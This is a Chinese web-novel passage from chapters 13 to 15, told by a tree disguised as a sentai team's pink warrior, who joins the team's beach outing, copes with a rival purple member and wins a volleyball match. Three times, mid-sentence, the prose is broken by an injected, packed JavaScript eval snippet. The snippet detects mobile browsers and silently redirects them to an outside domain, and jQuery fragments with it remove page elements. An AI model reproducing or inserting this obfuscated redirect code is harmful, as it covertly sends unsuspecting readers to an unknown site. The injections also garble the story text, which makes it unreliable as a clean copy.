接完那个电话,音速粉对我道了一夜的歉。她说自己也没想到居然会是沙滩泳装的福利回,如果我不愿意,她会想办法回绝,要是实在拒绝不了,就帮我找一套连体泳衣,绝对不让那几个臭小子占便宜。 她好像还不知道我是树,而是把我当成了某种能变形的类人生物,从她女性的视角猜测了我的想法。其实,她眼中的我的身体部位,包括五官的一部分,实际上都只是树枝树皮,以及色素沉积形成的图案。对于裸露身体是否会感到羞耻,被长久凝视是否会产生厌恶的问题,我暂时没有像人类那样细致敏锐的感受。 不过,我扮演的是她,必须维护她的形象——那还是连体泳衣吧。 而且去海边,至少不用穿高跟鞋了。 音速粉连夜挖掘衣帽间,寻找合适的泳衣,同时向我介绍音速战队的成员情况:固定成员一共五人,红黄蓝绿粉;红色战士是队长,王道系的热血主角,驾驶红色游隼机器人,合体的时候组成头部,戏份最重台词最多,他说话的时候必须满脸崇拜地微笑注视;蓝色战士是冷酷帅哥的设定,用来吸引女性观众,驾驶蓝色苍鹰机器人,组成右手,他的所有对手戏都和音速红绑定,一般不会主动说话,遇上了礼貌微笑就好,不用管他;黄色战士是搞笑担当,组成右腿,他说完话如果大家都笑了,那就跟着笑一笑,除此之外不用管他;绿色战士组成左腿,需要注意的是,因为存在感薄弱,所以他似乎有想炒CP的念头,不要给他可趁之机,可以适时冷漠微笑,其他时候不用管他。 以及刚刚加入的第六人,紫色战士,剧情尚未完全展开,还在保持神秘感的若即若离阶段,应该不会在个人回出现,不用管。 “我的人设你也知道了,我驾驶的是粉红色鸽子机器人,合体的时候组成左手——不过到了战斗部分,我会自己来,你找个地方躲起来就行,”音速粉说,“还有问题吗?” 有问题,有很大的问题。 ——“满脸崇拜地微笑”“遇上了礼貌微笑”“跟着大家笑一笑”“保持距离地冷漠微笑”……对于人类,可能只是眯眼挑唇的小事,但对一棵树来说,难度也太大了些。 为了简单高效地让音速粉理解我的难处,我用她的脸朝她笑了笑。 不愧是杀死山怪的女人,一瞬间的惊吓后,她立刻明白了我的意思。 “原来如此,你不能做出人类的笑的表情,”她皱着眉头思考片刻,猛一拍手,“好,就说前一天晚上和家里吵架了,所以一整天都板着脸,这样就不用笑了——反正我的人设是离家出走的大小姐,和家里人吵架,到处摆脸色也很正常!” 不愧是杀死山怪的女人,一下子就能想到解决办法。 第二天很快到来,我在镜子前再一次和音速粉校对并调整外观(因为要穿泳装,又让我把肌肉含量降低了一些),穿上她为我搭配的假日造型(淡粉色复古吊带针织上衣,粉白波点木耳边风琴褶棉布长裙,白色罗马凉鞋,以及度假风宽沿草帽)。她让我带上入耳耳机,又给了我一个小巧的发夹,同时也是超微型扬声器。我把它戴在鬓角附近,她就可以通过无线麦克风,随时开口说话。 麦克风的有效距离是50米,足够让她在背景的人群中藏起身体,同时保证我不会突然变成哑巴。 音速粉穿上了我昨天的女工工作服,素颜戴口罩,又把往日精心打理的卷发抓了一个揪,再挽起袖口和裤腿,露出带茧的手掌和健实的四肢——光凭这个,就不会有人把她往“战队粉战士”联想。 “泳衣放在包里,去更衣室换,水给你带了三瓶,大瓶的,要是不够喝,也可以在海边买,钱包在手提袋的夹层,”她再次交代我,好像叮嘱一个第一次出门买东西的学龄前儿童,“记住,你正在发脾气,没事不说话,说话的时候用手遮住嘴巴,或者转头去看旁边,或者干脆背过身,实在不行,就‘啊哦啊哦’地张嘴,假装自己是一条鱼。” 啊哦啊哦,知道了。 我们一前一后地出门。公寓的保安一看到我,立刻礼貌地鞠躬,礼貌地问候,礼貌地抬起头来又朝身后的音速粉抛去礼貌的厌烦目光——和昨天一样,看来变装很成功。 从公寓步行10分钟到地铁站,再搭地铁到海滩,出站后继续步行5分钟左右,就能到达约定的地点,全程不到一小时。我谨记“正在发脾气的大小姐”的设定,一路摆着臭脸,挺胸抬头,大步流星。不知为何,路上车上,总有男人看我,偏头看,转身看,用书挡着脸看,从玻璃反光里看,藏头露尾,偷偷摸摸,仿佛眼眶是鼻孔,两道视线又跟鼻涕似的,稍微冒个头,再鬼鬼祟祟地吸回去。我不懂他们在看什么,就对着看回去,谁看我,我看谁。他们反倒一个个羞答答地垂了眼,把鼻涕吸回去,咽下了。 看来他们知道自己这么看人不是好事,不然躲什么。 我一瞥眼,发现一个小女孩坐在位置上,晃着双腿,抬头盯着我看。于是我也同样盯着她。她眨了眨又大又圆的黑眼睛,不闪也不躲,依旧目不转睛地看我,看我,看我,然后咧开嘴朝我笑了。 我下意识地也跟着露出笑容。瞬间,小女孩的笑脸僵住了。她嘴角一歪,眼睛一眯,“哇”的一声哭了出来。 ……有这么可怕吗?我赶紧拉下帽檐挡住脸,逃离现场。 很快,地铁到站了。从耳机里得到音速粉的确认后,我和她从相邻的车厢下车。这也是我第一次进地铁站,地形可比沙漠复杂得多。进站的时候还好,只要跟着人潮往月台走就行了,现在要出站,转了两个弯,我就不知道出口在哪儿。每个方向都有人群来去,像洋流里的游鱼,音速粉也不见了。地下信号不好,耳机里只有断断续续的杂音。我也不能出声,没有办法主动和她联系。我在原地停留了一会儿,还是没看到她,于是找了个角落,把手贴上墙壁,放出根系,等待它们替我找到出口—— 有人拍了拍我的肩膀:“怎么在这儿傻站着?” 我一转头,看到一个小个子女生站在我面前。她比我矮了一个头,身上是一件宽大的紫色棒球外套,穿着破洞牛仔短裤,露出一双又细又直的腿。脚上套着条纹长袜,配紫色帆布鞋,头上戴了一副银紫相间的头戴式耳机,浓密的长发高高束成双马尾,额前还挑染一缕紫色刘海;看上去是个普通的街头少女。 但在当前世界观下,普通人身上不会无缘无故出现两件以上同色系的衣饰。 所以从头紫到脚的她,应该是—— “啊,你怎么会和她在一起,”信号恢复了,耳机里又传来音速粉的声音,“我一眼没顾上……她和你打招呼了?” 看来我猜对了。唯一一个没有得到人物信息,并且还在保持神秘感阶段的重要战队成员,音速紫,没想到会在这里就遇上。 “她最近才刚刚加入,我对她也不太了解,”音速粉在耳机里说,“但她好像对我有些敌意……先打招呼吧。” — ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14488796|152412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —有敌意,这么重要的信息,居然是“不用管”?我立刻用手掩住嘴巴,佯装咳嗽,同时耳后的扬声器里传出一声“你好——” “你好——哇!” 突如其来的尖锐哭声,紧接着“你好”响起,也许是正好有一个哭泣的孩子从音速粉身边经过。我措不及防,立刻用最快的速度捂住扬声器,但那一声响亮的“哇!”已经传了出去,周围的人也朝这里看了过来。 ……好像是刚刚被我吓哭的那个小女孩,原来报应在这儿。 扬声器安静了。我强行镇定,若无其事,想要做点什么来转移音速紫的注意力,却看到她困惑地皱起眉头望着我。 “你说什么了吗,他们怎么都在看你?”音速紫眨眨眼,又恍然大悟,“噢,我忘了摘耳机,怪不得没听见。” 她摘下头上的耳机,把它往脖子上一挂,又抬头朝我笑笑:“抱歉,没注意。我一般和重要的人说话才会摘耳机。” 不用道歉,谢谢没注意和不重要。我默默松了一口气,视线一斜,看到一旁的贩卖机玻璃上倒映出一个鬼鬼祟祟的人影,工作服,丸子头——太好了,音速粉已经过来了。 “你怎么在这儿?”音速紫又问,说着视线把我上下一扫,“穿得这么漂亮,要和男人出去玩?” ……她说话怎么怪怪的,明明也没什么过分的词汇,听来却连我都觉得不太舒服。 “感觉到了吗?她刚一出现的时候,我就觉得她好像对我有什么意见,”音速粉说,“后来剧情进展下去,我才意识到——她是带着雌竞任务来的。” 雌竞——那我明白了。 按字面意思,雌竞是指两个女生之间的竞争和比赛,争夺的内容可能是荣誉、地位,或者资源。然而在绝大多数情况下,尤其是AP0813的绝大多数情况下,雌竞专指两个女生围绕一个男人展开激烈的争夺——与自然界中大部分动物的习性正好相反,是一种让我困惑的现象。但考虑到受众,也许正是这个“相反”,才让部分男性感受到虚幻的愉悦。 (近来似乎也有能从这样的剧情里得到快乐的女性,也许是把自己代入了胜利的一方,这同样让我困惑。掌握了最终生育权的人,居然会为得到批量生产的生殖细胞的归属权而快乐……人类真的很难懂。) “啊,你不会也要去海边吧?”难懂的观察对象突然踮脚抬头,一下子朝我凑近。我怕被她看到脸上没有人类该有的毛孔,下意识地要退开,却被她一步抵在墙上。 “什么嘛,昨天打电话的时候,还说只叫了我!亏我大晚上还骑车出去买泳衣!”还好,她根本没有心情在意我,只看了一眼又把头转开了。 剧情发展到此,作为正在发脾气的大小姐,我面无表情地绕开她,朝前走去。她也要去海滩,并且和我在同一条通道相遇,我已经从她刚才脚尖的朝向判断出了出口的位置。于是我像来时那样,挺胸抬头,大步流星。 不过话又说回来,音速粉是高挑的姐姐系角色,而音速紫身材娇小,显然是妹妹系,两人的风格截然不同,但都是引人注目的美人;那么作为被美人争夺的资源,那四位男队员会是什么样子—— “啊,你们来了!”音速紫的声音在背后欢快地响起。我下意识地转头朝她一望,只见她满脸堆笑,跳起来用力朝前挥手。小巧的个子一蹦一蹦的,像个元气十足的紫色弹力球。 但可能是错觉。在我刚刚转身,她还没有完全露出谄媚的笑容之前——我似乎看到她翻了一个迅速的,悄然的,转瞬即逝的,白眼。 14.我的沙滩排球 顺着音速紫弹跳示意的方向,我再次转身回头,看到不远处的出口台阶上站着几个年轻人。 最边上的是个穿黄色连帽卫衣的小胖子,因为颜色亮眼,肚子占地面积又大,像团黄澄澄的大柚子,我一眼就看到了他;他旁边的小伙瘦精精的,浓眉大眼,穿了一件白色背心,脖子上搭一条红色方巾,又配鲜艳的大红色沙滩短裤,真是少见又大胆的穿搭—— 等一下,又是黄又是红的,他们不会就是“那个”吧? 果然,红色小伙旁边又站着一个高个青年,清秀白净,身穿蓝色格纹衬衫和蓝色牛仔裤,相比之下确实是这几人中五官最端正的;只是视线对上的时候,他突然微微咧开嘴——可能是进入了“礼貌微笑”环节——半露出两枚桀骜的门牙。 啊,怪不得设定是不苟言笑的冷酷帅哥。 已经有三人了,剩下的应该就是意图拉cp的音速绿。我视线一拐,看到一个背着墨绿色运动背包,脚穿黑绿相间跑鞋的男人,双手插兜靠墙站在旁边,高大,英俊,眉眼深邃,肤色是被户外阳光亲吻过的浅褐色,灰色速干衣包裹着饱满的胸肌,肩膀宽阔得像两座遥相望的山头,米色运动短裤下是一双精壮有力的长腿,不管放在哪个世界的哪个故事,都是标准的超级英雄长相。这支战队里也总算有一个像样的成员—— 不对,我突然察觉到一丝违和。 不应该是他,他太帅,太像超级英雄了,完全是这里最超级英雄的人,所以从团队整体性考虑,不可能是他。最简单的道理:怎么可能会有比红战士还要帅气的绿战士? 果然,运动帅哥掏出手机看了一眼,脸上浮现瞬间的惊慌,然后飞快转身,小跑着朝另一边的出口赶去。 魁梧的男人离开了,一直被他挡在身后的男人出现了——瓦片刘海,倒挂八字眉,鲜艳的绿色马甲,正用弹簧似的小短腿使劲跳起来朝我挥手:“仁美~这里~仁美~”一蹦一蹦的,整个人就像一首俳句,短小精致,再多一个字也没有了。 但团队画风一致,是他没错。 “……仁美是我的名字,”耳机里传来音速粉的声音,“你和他们一起去吧,我在后面跟着,一有情况就联系你。如果你不知道该怎么反应,可以假装走神,没事的,反应迟钝会被当成‘笨笨的女孩很可爱’。” 虽然不解,但是行吧。 于是我跟着音速战队,音速粉跟着我,一起去了沙滩。一路上绿马甲都在搭话,我谨记“发脾气的大小姐”的设定,专心数着迈出的步数。比起这种没有存在感的角色,我更在意的是,那个红色战士,作为剧情的核心,队伍的领袖,战斗的主要力量——他的胳膊居然比我还细? 他和他那两个队友简直薄得可以叠在一起,再塞进小黄胖子双下巴的褶皱里。 昨天晚上,音速粉不停地对我强调,没必要追求长相上的100%相似,因为那些男人又蠢又迟钝,五官的细微差别他们根本发现不了;相比之下,身材才是调整的重心,一定要比她本人更瘦,更矮,更单薄,皮肤还要更白一些,尤其是和男队员站在一起的时候,绝对不能显得比他们壮——她的象征物是鸽子,怎么能被男队员反衬得像只雌鹰? 所以我把肌肉含量降了又降,小腿细得像胳膊,胳膊细得像手腕,手腕调整了好几次,太粗会破坏比例,太细又容易折断。如此这般忙活了很久,参考了一大摞时尚杂志,终于打造出一副任谁看了也会觉得纤细柔美惹人垂怜的身体。 但没想到,在森林里和三个小矮人住在一起的红战士,比我还要纤细柔美一万倍。 怎么回事?我也不是没来过AP0813,之前遇到的光之巨人虽然不算壮汉,但也没瘦到这个地步;过去这里也有同样穿紧身衣戴面罩战斗的超级英雄,因为人种特性,没有白人队长们那么高壮,但也是多少有些肌肉的成年体格。 难道在我离开的这段时间,这里的审美又发生了变化,光是让小女孩饿肚子已经跟不上时代,男孩子也要加入这场卡路里和维度的战斗了?别的世界线的超级英雄在追求肱二头开瓶盖,背阔肌夹核桃的时候,这里反而崇尚微风弱柳的玻璃美人? (虽说审美是多元的,也有区域性和时代性特征……不过,是不是也和什么“经济形势”有关?K和客人聊天的时候偶尔会提到这个词,虽然我也不懂是什么意思,可总觉得可以用来解释很多问题。) 看着那三人吹弹可破的背影,我开始思考要不要把肌肉含量再降低一些。虽然现在的体型已经很瘦,但看起来还是能把红绿蓝中的任意一人一拳打飞。 走在前面的音速紫突然回过头,飞快地看了我一眼。我莫名被她看得心头一跳。怎么回事,难道她已经注意到什么了?我取出包里的化妆镜,看看自己,五官没有变形,表皮也是人类皮肤,再从倒影里看看身后,音速粉在后方大约10米左右的地方,墨镜口罩工作服,鬼鬼祟祟,装备齐全,只有一方额头露在外面——应该没有被发现吧? “仁美今天怎么了,那么安静,”红色突然也回过头来,关切地眨巴他的大眼睛,“身体不舒服吗?” 我愣了一下。耳机里的音速粉不耐地咂嘴:“多管闲事……准备,我要说话了,表情稍微柔和点——” 但音速紫先开口了。 “还不是因为你们非要来海边玩,大小姐可不喜欢又热又晒人又多的地方,”她偏过脑袋朝我一望,双马尾晃晃悠悠,“下次这种活动就不要叫她了,出来一趟多累啊,还是在家好好休息吧。” ——可以顺理成章地继续扮臭脸了,非常感谢。我当场皱起眉抿起嘴,趁热打铁。虽然我做生气的表情也很可怕,但“生气”本来就该可怕,没什么奇怪的。 转眼,5分钟的路程结束,海水浴场到了。大海,沙滩,阳光,椰子树,以及密密麻麻的半/裸的人类。几个男生“叽哇”怪叫着冲向沙滩,转眼消失在半/裸的人群。音速紫说得没错,本大小姐不喜欢这种又热又晒的地方。K那里的沙漠虽然干燥,但温度并不高,水分都是被风带走的。而这里又有风又有阳光,还有可怕的盐分,我感觉体内的水几乎要化作云团从毛孔里飘出。趁着那几个男生都不在,我一口气喝干了一整瓶水,正要找垃圾桶丢瓶子,扭头看到音速紫歪着脑袋打量我。 眼神平静,但锐利得像长矛,能洞穿颅骨。她的代表物是什么,莫非是猫头鹰?外表可爱,实则猛禽? 猫头鹰歪着脑袋开口了:“真好啊,我也想要个人回。” 是对我说,还是自言自语? 说起来,历代的战队故事中,确实很少有给第六人安排个人剧集的。可能是为了保持神秘感,可能是出场的时候往往剧情已经过半,不适合再插入小故事打乱节奏,也可能在设计角色的时候,只顾着用要素堆砌人设吸引观众,而没有铺垫相应的故事情节作为支撑;总之从战队传统来说,第六人几乎不会有自己的个人回。 耳机里传来音速粉的声音:“不要理她,去更衣室换衣服。我还不了解她,尽量避免接触。” 说得很对。 我把空水瓶塞回包里,转身就去了旁边的更衣室。音速粉挑了一夜,最后为我选择的是一件白色连身泳衣,细肩带,高开叉,已经是她能找到的露肤度最低的衣服。她又翻出一条轻飘飘的粉色纱巾,让我披在身上,可以遮挡阳光和视线,顺便完成粉色单品的搭配指标。实话实说,这一身挺好看,虽然我难免想到厨房水池里白色的鱼鳔和充血的粘膜。 我离开更衣室,回到沙滩,满眼是各种肤色的人类躯体,密密麻麻,沙滩仿佛蜜色的糖渍,他们就是聚集的蚂蚁;别说其他人,连音速粉都一时失去踪影。我稍微集中精神,扩大听力范围,果然,某处传来“仁美~仁美~”的呼唤。我循声转过头,看到绿马甲——现在是绿泳裤——正在原地弹跳,奋力挥手,像一个焊了弹簧的雨刷器。 “仁美~快来打球~”他身后是支开的沙滩排球网,和已经开始操练的红黄蓝紫。 不妙,运动会加速水分蒸发,看来到时候得想个办法提前退场。 我正要过去,又想起音速粉的交代,再联系我对这个世界的了解,马上平举双手,握拳,沉肩,大臂紧贴身体,同时并拢膝盖,脚跟朝外脚尖朝内,以x型迈开小步朝他们跑去。之前接触过一组魔法少女,“任何时候任何情况任何姿态,两膝距离均不能超过3公分;死前注意整理遗容”是写在她们的成员守则里的。 “……跑得好丑。”音速粉的声音又传过来了。怎么回事,是我弄巧成拙了吗? “但确实得这么跑,你做得很好,轻易做到了我做不到的事。”我就说嘛。得到了音速粉的肯定,我更起劲地把双拳左右摇晃,如同钟摆。 不到50米的距离,用这个姿势跑了快有半分钟,但所幸没有折断哪根骨头。在离他们还有几步路的时候,我停下,弯腰,用力喘气,使劲表现得弱不禁风,然后抬起头来,看到音速紫站在面前。 她没有换泳衣,只是脱了棒球外套,露出深紫色的运动背心,和青春期少女充满朝气的健康身体。此刻她两手叉腰,眉头微皱,双目圆睁,像一只在舔毛时看到了什么不得了的东西,在震惊中没来得及回过神的猫。 啊,回过神了,她扯了扯嘴角,转身走了——我好像被鄙视了?随便吧。 “仁美~来,我们一组~就在等你~”绿泳裤又不知从哪里钻了出来。我调转视线,看到几人已经分好了队伍,红蓝紫一组,黄绿一组,各自站在球网两侧,就等着我去补上少的那一边。 ——但是,也太瘦了吧?那几个男生穿着外套的时候还没看出来,现在只穿了沙滩泳裤,一个个又细又干,站在沙滩上就像一排梳齿,我几乎能看清他们的骨节是怎么一节节扣上的;尤其是个子最高的蓝泳裤,手脚细长得像面条,感觉来一阵大点的风,他就会像卖场门口的气球人一样舞起来。虽然说男性很容易就能把体脂控制在比较低的水平,但是比他们还瘦的,我只见过K的冰箱里被遗忘的枯菜叶。 这一瞬间,我对自己之前的想法感到愧疚:音速粉为了能保住这份工作做了那么多不愿意做的事,甚至找上替身,魔法少女们也是,为了保持身材连饭都不敢吃,饿了就喝水,一块饼干五个人分;而这些男生能瘦成这样,一定也吃了很多苦,或许他们也不喜欢这样的体型,只是为了符合故事模板,为了能成为超级英雄—— “仁美是不是胖了,腿好粗,”旁边突然有人开口,“再不减肥,小心嫁不出去。” 我转头——说话的是这里唯一一个比我胖的人。他倒是没有脱掉上衣,只是橙黄色的T恤被肚子绷得紧紧的,四肢又白嫩肥软,让他看上去好像一个流心荷包蛋。他也是因为剧情需要才把自己吃撑这样的吗?……应该不会吧? “冷静,不要理他,不要动气,”音速粉在耳机里说,“如果你对他的话做出反应了,接下去可能就会展开减肥剧情——我才不要那样!” 原来如此,不过我对这种评价没有任何感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过,这里有分界的球网,有一个球,在场的人又分成了数量相等的两组,所以是要用球来竞争吧?那就简单了,以队伍进行的比赛,要么争夺,要么对抗;而场地中间用球网隔开,基本不可能是争夺,所以玩法应该是——把球打过去。 绿泳裤让我和黄胖子在球网这一侧站成三角形,他自己站在中间,我在左半场。他特地交代我:“你就站这儿,小心点,别让球打到你~”他让我别被打到——所以这是用球打到人才算得分的运动,如果我被对面打到,他们就会得分,对吧? 不知哪来的裁判坐上了球网旁的高椅。然后哨子吹响了,比赛开始了。但事情好像和我想的有些不太一样。音速紫把球高高抛起,红色沙滩裤跳起来挥手一拍,那个球顿时朝这一边砸来。我记得绿泳裤的交代,立刻闪身躲开。然而绿泳裤本人不但没有躲避,还起跳用脸去接——我理解错了?这是避免让球落地的运动,球在哪一边掉了,另一边就会得分? 球在绿色泳裤的脸上一弹,又回到网的那一边。果然,蓝色背心急急忙忙跳起,抬手去拦。但他个子太高,胳膊又细长,球直接从他双臂中间穿过,划出一条流畅的抛物线,落地了。 ——得分了?我转头去看裁判。裁判盯着球落地的地方,举起了那一侧的手,1:0。 怎么回事,为什么是他们得分?他们打到人了,不算分,我们让球落地了,算他们的分;这分数到底是怎么算的?也太难了吧? 如此这般打了几个回合,红蓝绿已经气喘吁吁,裁判手边的记分牌从1:0翻到1:1翻到1:2,又变成2:2,我却还没看懂规则。 但我记得绿泳裤说过的话:别让球打到。虽然不明白“别让球打到”在比赛中的作用——因为他本人好像在主动挨球打——但他这么嘱咐我,应该有他的道理。而且黄色小胖子也躲得好好的,离球远远的,一次都没被打到过,学他的样子,至少不会出错。 不过,这就是沙滩排球吗?好像也没什么意思嘛—— 突然,头顶的几簇叶梢,不是,头发,捕捉到一阵迅烈的空气振动,有什么东西正飞速朝我接近。我刚要下意识地抬头,就听见绿泳裤在旁大喊一声“小心!”,然后猛地朝我扑来。 “嚓”,我退开了。 “咚”,他摔倒了。 “哈哈”,黄胖子笑了。 同一时刻,我看清了半空中急速飞来的东西——是排球,比先前的来势凶猛百倍,像个小炮/弹。在我辨清它的轮廓的瞬间,它距离我的鼻子只剩下3公分。我本能地朝旁一闪,同时抬手护住面孔。但稍晚了一步,排球重重地砸在右手上。 “咔嚓”,按照超模标准精心打造的美丽手腕折断了。 这是我第一次领悟到什么叫“头皮发麻”。手腕断了,并不疼,那只是一截尚且幼嫩的枝条,没有穿入太多神经,只是断口有些凉凉的刺痛。但一瞬间,我紧张得呼吸都停住。没人看见吧?我没露馅吧?过了足足两秒我才回过神来,垂着眼,小心翼翼地四下窥探。 幸好,绿泳裤依旧正面朝下扑倒在地,看来摔得不轻。黄胖子顾着笑他,没空看我。红蓝两人隔着球网,也被绿泳裤摔倒的动静吸引,正出声询问。太好了,没有人注意到我的手腕悄悄断了,又悄悄长上—— “怎么了仁美,打中手了?没事吧?”音速紫的声音从对面传来,“怪我,下手太重。千金小姐应该没玩过这么野蛮的游戏吧?要不,你还是去旁边休息一下,坐着看我们打就行了。” 我转过头,看到音速紫也眨巴着眼睛看我。她身旁的高椅上,裁判翻了记分牌,3:2,他们得分。 沙滩排球,果然还是按命中计分吗? 15.敏锐的他? 尽管当事人表示自己“不疼,没事,还能打”,绿泳裤还是流着鼻血被安全员拖下场去。离场前他还冲黄胖子大喊:“保护仁美!保护仁美!”想到自己算是间接造成他受伤的原因,有一瞬间,体内某个不存在的器官感到些许不安。 等一下,良心是器官吗? “我们这边少一个,要不就不打了吧?”黄胖子过来问我。音速粉不在,我不能出声,就睁着眼睛看他,同时思考如何回应:现在不打的话,倒是可以省去一些麻烦,但是音速粉回来之后恐怕会找不到我的位置,更有可能因为两边同时移动,耳机会再次断联,但如果要继续打球—— “行了行了,你要打就打吧,瞪我干嘛。”黄胖子嘴里嘟囔着,回到原位。 啊,刚刚我做了什么吗? 于是比赛继续了。因为绿泳裤下场,为了保证人数一致,红色沙滩裤主动退出,同时接替路人担任裁判。那一边是音速紫和蓝背心,这一边是我和黄胖子。规则这种东西,在边上站着看可能很难理解,一旦加入比赛就会突然变得简单好懂。刚才我只顾站着躲球,半天没看明白分数是怎么算的,现在轮到我上场作战,两个回合下来,我差不多就明白了得分的核心条件:场内,落地。只要满足这两个条件,大概率就能拿下一分——剩下的小概率由细节决定,也包括“裁判看没看见”的风险因素,不重要,可以不管。 太简单了,他们之前怎么会磨蹭了半天才这么点分? 掌握这一底层逻辑之后,这个游戏变得有趣起来。接触球的身体部位,击球的角度,用力程度,站位朝向,起跳时机……有许多变量可以调整。我的身体比人类灵活,视野比人类广阔,对风向的感知也比他们敏锐,无论进攻还是反击,我都能占据很大的优势。而黄胖子虽然反应迟钝,动作也笨重,但他能提供力度稳定的垫球。在他的配合下,我把球扣进对方场地就像K切黄瓜一样简单。 3:8,蓝色背心皱起英俊的眉头。 3:12,笑容从音速紫的脸上消失。 5:20,高椅上的红色沙滩裤睁大了眼睛。 9:23,观众席的绿泳裤站起来拼命鼓掌。 转眼,一局结束,我方1:0领先,没过太久,又变成了2:0。蓝色背心英俊地叹气,音速紫揪紧双马尾。而黄胖子似乎想成为我的弟弟,因为他说:“加油,仁美姐!厉害啊,仁美姐!打爆他们,仁美姐!” 沙滩排球,还挺有意思。 第三局开始,音速紫站上主攻位,确切来说是把蓝背心推开,抢占主攻位。对面的站位改变之后,战局也发生了变化。我还是像之前一样扣球,但总是会被音速紫拦下。她的发球也变得刁钻且凶猛,我不得不悄悄加固关节,以免又被她打断了哪里。而蓝背心虽然瘦弱,反应却很快,四肢又长,守备范围很广,音速紫漏接的球,他总能在第一时间补上——可恶。 对手认真起来了,我方的劣势就变得突出。黄胖子实在很难算是一个完整的战力。从人数上讲,对面是2人,我方1.8人,其中我大约占1.5。 第三局结束,2:1。蓝色背心舒展了英俊的眉头。 2:2。音速紫脸上重新露出笑容。 不知不觉,周围已经围满了人,每得一分都有人欢呼鼓掌。人群中还有一双细小的手臂奋力挥舞,隐约能听见“仁美~加油~”的呼喊,只是不免让我想到暴风雨的海浪中求救的泳者。 红色沙滩裤吹了口哨:“决胜局!” 沙滩排球,真是扣人心弦。 决胜局到了,发球权回到音速紫手上。这不太妙,我已经领教过她声东击西的快攻,必须全神贯注才能争取到还手的机会。我紧紧盯着对面的音速紫。她眨眼了,视线朝左边飘动,肩膀倾斜,右脚的脚跟往前挪了一公分,脚尖却钉在原地没有移动。呵,我就知道她又要虚晃一枪,看上去瞄准了左边的场地,其实—— “怎么回事,”耳机里突然传来音速粉的声音,“不是随便玩玩就行了吗,怎么都打到第五局了?” ……啊,忘了这回事。 与此同时,“啪”的一声,音速紫发球了。我一时犹豫,反应过来的时候,球已经高速过网。我慌忙起跳拦截,歪了,手指堪堪擦到球的边缘,我猛一使劲,强行把球往对面扣落。 ——扣在正好同时起跳的蓝背心英俊的脸上。 哨子吹响了。 周围的人群发出喧哗。蓝色背心跌落在地,用手捂住了脸。我从没直接伤害过别人,一时也不知道该怎么办。 “不好,你打到他的脸了!快道歉!”音速粉在耳机里说。 她的声音听起来非常焦急,难道接下去会发生可怕的事吗?我看到蓝背心捂着脸站起来,走到另一头的场边。 “快道歉,不然他会哭的!”音速粉说。 蓝背心背对人群,蹲下,低头,肩膀隐隐抽动。 我赶紧走过去,走到他面前,弯了一个标准的90°的腰,与此同时音速粉通过扬声器开口:“对不起!” 之前说过,在某个世界,只要鞠躬道歉,不管做了什么坏事都会被原谅——这里就是那个世界(的分支),真是太好了。 蓝背心低着头发出抽泣声。 我再次用力鞠躬:“对不起,用球砸你的脸,我很抱歉!我不是故意的!” 蓝背心抬起头来,擦掉鼻血,英俊的眉眼泪光莹莹:“没关系,下次注意点。” 鞠躬果然有用,真是太好了。 “OK,他没事了,继续比赛,”音速粉说,“都到这一步了,这一局必须赢!” 不是说输赢不重要,随便玩玩吗? 但既然她都这么说了,我也没有放弃的理由。蓝背心被我扣了脸之后,尽管表示“没关系”,但行动明显变得迟缓了,看我的目光也带了几分畏惧。于是两边人数再次对等,1.8:1.8。失去0.2个辅助,音速紫的攻势减弱了,漏掉的球也变多了。我与她有来有回地拉扯了几个回合,得分互不相让。 观战的人群越围越密,加油的声浪也越喊越高,我连音速粉的声音都听不到了。又一次在球网前起跳的时候,我突然觉得自己好像变成了一片叶子,身体不再受到自我意识的控制,我的跳跃,奔跑,只不过是被风推着,被水引着,四处飘荡。这是一种从未有过的奇怪感受,是因为比赛的气氛带动了我的情绪吗?可是,在这里以外的其他地方,我听到过更响亮更兴奋的声潮,见识过更宏大更热烈的场面,虽然那些都不是为我而来的。 (这一次也不能完全算是,因为他们喊的是“仁美”。不过现在我就是仁美,就当是在叫我吧。) 最后,在所有人的注视下,我用一个利落的扣杀把球狠狠打入对面场地。蓝背心没接到,音速紫也没接到;排球从他们奋力高举的手臂间穿过,落下,挨着边界线,在沙地上砸出一个弧形的坑洞。比赛结束了。 比赛结束了,所有人欢呼,鼓掌,像夏日夜晚的青蛙,像鼓动翅膀的蜂群。耳边依稀还能听到一个微弱但倔强的呼喊:“仁美~太棒了仁美~” ——“没意思,沙滩排球没意思!”音速紫挂着嘴角,用力跺脚,晃头,双马尾螺旋桨似的一阵猛甩,“热死了,我好渴,我们去喝冷饮吧!我要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14506004|152412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蜜瓜刨冰!”说完,她拉上黄胖子,喊了观众席里的绿泳裤,朝不远处的冷饮店快步走去。蓝背心冲我英俊地点头,英俊地比了个大拇指,也与他们一同走了。 我也渴了。高涨的情绪一回落,我立刻察觉到身体正处于脱水状态,必须尽快补充水分,于是跟着他们朝冷饮店走去。 “等一下,你走慢点。”耳机里的音速粉突然喊住我。吵闹的人群散开了,我也重新听到了她的声音。 